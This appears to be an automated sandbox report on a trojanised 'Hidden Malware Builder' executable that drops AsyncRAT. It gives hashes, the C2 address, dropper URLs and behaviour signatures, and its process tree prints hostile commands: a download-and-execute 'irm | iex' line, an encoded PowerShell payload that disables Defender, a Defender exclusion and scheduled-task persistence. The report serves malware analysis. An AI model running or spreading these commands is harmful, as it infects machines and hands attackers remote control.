Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/10/2024, 23:24

General

  • Target

    Hidden-Malware-BuilderV5-main/H-Malware Builder V5.exe

  • Size

    407KB

  • MD5

    c8f6d76b4ae82978272bde392561c4f4

  • SHA1

    80447d36fcf88cc9caa806db53e22d9468cc31ee

  • SHA256

    c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e

  • SHA512

    10fa87f050a9ceb658e443317158ef8b1dbaa9e183ec61b5e5e42adb562f7918d996134aba7f0bbad852def4d6b0824c7b9716628b554194d0fd95974de6b2ad

  • SSDEEP

    12288:r5p4UNBN3aqeKNoRfwoZrHMBV9EwEcb8+DvtuWUb:r9N3aqPCRooZwBjEhcYcvYWUb

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://github.com/MalwareTeam/SecurityHealthService/raw/main/SecurityHealthService.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

bay-helps.gl.at.ply.gg:36538

Mutex

DcRatMutex_qwqdanchun

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:628
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:372
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{1f705aa4-c36e-431a-98d0-5c639a1d0323}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2128
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:696
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:968
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:544
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1028
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1068
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1076
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1172
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:624
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Indicator Removal: Clear Windows Event Logs
                      PID:1180
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1296
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1316
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1364
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1388
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1468
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2992
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1544
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1564
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1672
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1712
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1768
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1780
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1872
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:2008
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2016
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:2044
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1692
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1808
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2120
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2212
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2352
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2472
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2480
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  PID:2616
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Enumerates connected drives
                                                                  PID:2632
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2700
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2712
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2724
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:3000
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:3016
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3140
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3412
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3512
                                                                                • C:\Users\Admin\AppData\Local\Temp\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe"
                                                                                  2⤵
                                                                                  • Checks computer location settings
                                                                                  • Drops startup file
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:4588
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
                                                                                    3⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3784
                                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"
                                                                                    3⤵
                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                    • Checks computer location settings
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4836
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"
                                                                                      4⤵
                                                                                        PID:1600
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:4520
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell "irm pastie.io/raw/fgaazw | iex"
                                                                                          5⤵
                                                                                          • Blocklisted process makes network request
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:748
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiAGEAbQBkAHIAMQBpAHkAbAB0AFQAIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAE0AYQBsAHcAYQByAGUAVABlAGEAbQAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC8AcgBhAHcALwBtAGEAaQBuAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAJABvAHUAdABwAHUAdABQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQByAGwALAAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AZQBsAHMAZQAgAHsAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8ATQBhAGwAdwBhAHIAZQBUAGUAYQBtAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALwByAGEAdwAvAG0AYQBpAG4ALwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoADsAfQA=
                                                                                            6⤵
                                                                                            • Blocklisted process makes network request
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:636
                                                                                      • C:\Windows\SYSTEM32\SCHTASKS.exe
                                                                                        "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
                                                                                        4⤵
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:4232
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                            PID:1636
                                                                                        • C:\Windows\SYSTEM32\SCHTASKS.exe
                                                                                          "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
                                                                                          4⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:2316
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:1588
                                                                                        • C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3220
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3644
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:3828
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                          • Suspicious use of UnmapMainImage
                                                                                          PID:3984
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:4212
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:3756
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:4792
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:976
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:4740
                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3680
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                  1⤵
                                                                                                    PID:2204
                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                    1⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:4800
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:2984
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                      1⤵
                                                                                                        PID:5116
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:2644
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4512
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies registry class
                                                                                                            PID:1228
                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe 915510e17eb8cc59f7cfa7715dda8a56 lJo/Csbv+UGkCDlCA2Outw.0.1.0.0.0
                                                                                                            1⤵
                                                                                                            • Sets service image path in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:1932
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              2⤵
                                                                                                                PID:4748
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                              1⤵
                                                                                                                PID:4904
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                1⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4452
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Writes to the Master Boot Record (MBR)
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                • Enumerates system info in registry
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:3152
                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                1⤵
                                                                                                                  PID:388
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                  1⤵
                                                                                                                    PID:2304
                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:4544
                                                                                                                  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:1116
                                                                                                                    • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                      1⤵
                                                                                                                        PID:5100
                                                                                                                      • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                        1⤵
                                                                                                                          PID:3052
                                                                                                                        • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                          "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                          1⤵
                                                                                                                            PID:3380
                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:3152

                                                                                                                            Network

                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                  Replay Monitor

                                                                                                                                  Loading Replay Monitor...

                                                                                                                                  Downloads

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                    SHA1

                                                                                                                                    31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                    SHA256

                                                                                                                                    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                    SHA512

                                                                                                                                    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    944B

                                                                                                                                    MD5

                                                                                                                                    77d622bb1a5b250869a3238b9bc1402b

                                                                                                                                    SHA1

                                                                                                                                    d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                                                                    SHA256

                                                                                                                                    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                                                                    SHA512

                                                                                                                                    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache\V01.chk

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    MD5

                                                                                                                                    701b9b5c728bee89fa91a4846da5c19d

                                                                                                                                    SHA1

                                                                                                                                    4664fd8167577a9630cae4089dee7313da26b638

                                                                                                                                    SHA256

                                                                                                                                    c2488e35c0fc2124e4c8e6819867e9db41a9e05d5b9d006087703e607acee3f3

                                                                                                                                    SHA512

                                                                                                                                    0eebf54ad1a5454b4f86cd33bc484ba0760b6591c2ceb83222ea14843f1e0b9a61e0652a40dae3c8670b9bfe35ecfc7ebb0880c41a762bc6f71bc01e965348ab

                                                                                                                                  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                    Filesize

                                                                                                                                    328B

                                                                                                                                    MD5

                                                                                                                                    911194c1888c618c87f5311421ac9270

                                                                                                                                    SHA1

                                                                                                                                    7c575e95894486aadf8e657a620ee171c5bea0ac

                                                                                                                                    SHA256

                                                                                                                                    abcaae4da71d50ad3e4cf937b61e6a7fb94287a0463a9207eb35d08ceac50acb

                                                                                                                                    SHA512

                                                                                                                                    94548b2e3bfb31bd556c1f95a7d8057224721b746aa4d24bb173c917b34cf2f6ff97fec71d3f9753101c0bd45352b5bef8c51bc1ff6af949abadf6d7171ad95c

                                                                                                                                  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                    Filesize

                                                                                                                                    330B

                                                                                                                                    MD5

                                                                                                                                    e3f56eca0838b87b7b5f452fbbdd063c

                                                                                                                                    SHA1

                                                                                                                                    182bc3a8f98f5e3fe734c5a3530af4b3a1b9dbc7

                                                                                                                                    SHA256

                                                                                                                                    08c098a7c156438b88da4e2abb9d35a1b5e58d657b49dae851b5ff68e3a1dc54

                                                                                                                                    SHA512

                                                                                                                                    0a915b63e6b8a5aa26dcaffc551fc1b84228bdf3cc4a030b4f5590cc2c21faadf9927041a4f8ef26529bdebdd0f95ed94cddca68708093afea7f5c9277f3b0c2

